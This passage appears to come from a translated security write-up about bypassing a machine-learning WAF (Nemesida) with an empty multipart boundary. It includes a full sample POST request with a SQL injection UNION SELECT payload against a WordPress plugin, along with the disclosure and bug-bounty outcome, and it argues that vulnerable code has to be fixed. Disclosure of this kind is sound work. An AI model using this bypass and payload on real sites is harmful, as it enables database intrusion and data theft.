límite de parámetro se encarga de la segregación de diferentes parámetros en el cuerpo de una solicitud. Según el RFC, se debe colocar un límite previamente especificado con un prefijo que contenga
"-" antes de cada nuevo parámetro POST, para que el servidor pueda discriminar los diferentes parámetros de una solicitud.
Entonces, el problema era que el servidor y WAF manejaban la situación de manera diferente cuando el parámetro de límite estaba vacío. Según el RFC, en tal situación, el límite entre los parámetros será una secuencia de caracteres
"-" . Sin embargo, WAF utilizó un analizador que no tiene en cuenta esta característica, por lo que WAF nuevamente pasa la solicitud, porque los datos de los parámetros de solicitud POST simplemente no entraron en el módulo analizador, y el servidor analizó esta situación sin ningún problema y transfirió los datos aún más al procesamiento. Esta es una solicitud de muestra para este ataque:
POST /wp-content/plugins/answer-my-question/modal.php HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary= Content-Length: 209 -- Content-Disposition: form-data; name="id" 1 UNION SELECT 1,2,3,CONVERT(version() USING utf8) AS name,CONVERT(user() USING utf8) AS name,6,7,8,9,10,11,12 FROM wp_users WHERE id=1 ----
Ambos problemas se informaron a Pentestit, los muchachos pagaron una recompensa por su programa de recompensas de errores para Nemesida WAF y solucionaron los problemas lo antes posible. Gracias por eso.
Como podemos ver, los WAF pueden ser modernos e inteligentes, pero a veces es posible evitarlos simplemente agregando un único carácter especial. Hoy no podemos prever todos los tipos posibles de datos de entrada para todos los servidores en la etapa de desarrollo, y el aprendizaje automático, implementado para hacer exactamente eso, se topa con analizadores que se atascan con caracteres especiales.
Conclusión

Entonces, ¿deberíamos confiar completamente en WAF?
La respuesta es NO.En una de nuestras auditorías, descubrimos un bypass WAF que nos permitió explotar algunas vulnerabilidades. Al final resultó que, los desarrolladores ya habían realizado una auditoría de la aplicación web, antes de que fuera protegida por WAF, y reveló las mismas vulnerabilidades. En lugar de arreglarlos, decidieron comprar un WAF moderno equipado con aprendizaje automático. Es una pena que el proveedor de WAF no haya insistido en corregir las vulnerabilidades primero; o quizás los propios desarrolladores pensaron que WAF sería una mejor opción. Sin embargo, no lo sabemos con certeza. De cualquier manera, este es un ejemplo de una muy mala práctica, tanto por parte de los desarrolladores como del proveedor. También debe tenerse en cuenta que el aprendizaje automático sigue siendo una caja negra y se parece más a un dispositivo de marketing que a una defensa real.
En general, WAF es una solución de seguridad moderna, y no le hará daño tenerla con sus aplicaciones web. Aunque hoy en día, solo puede obstaculizar el proceso de búsqueda y explotación de vulnerabilidades, pero no puede protegerlos por completo. Tal como están las cosas, este es el estado del arte durante bastante tiempo. Las vulnerabilidades en las aplicaciones web solo se pueden corregir corrigiendo el código relacionado con ellas, y esa es la única solución infalible.
ColaboradoresIlia Bulatov barracud4Denis Rybin thefaeriedragonAlexander Romanov web_rock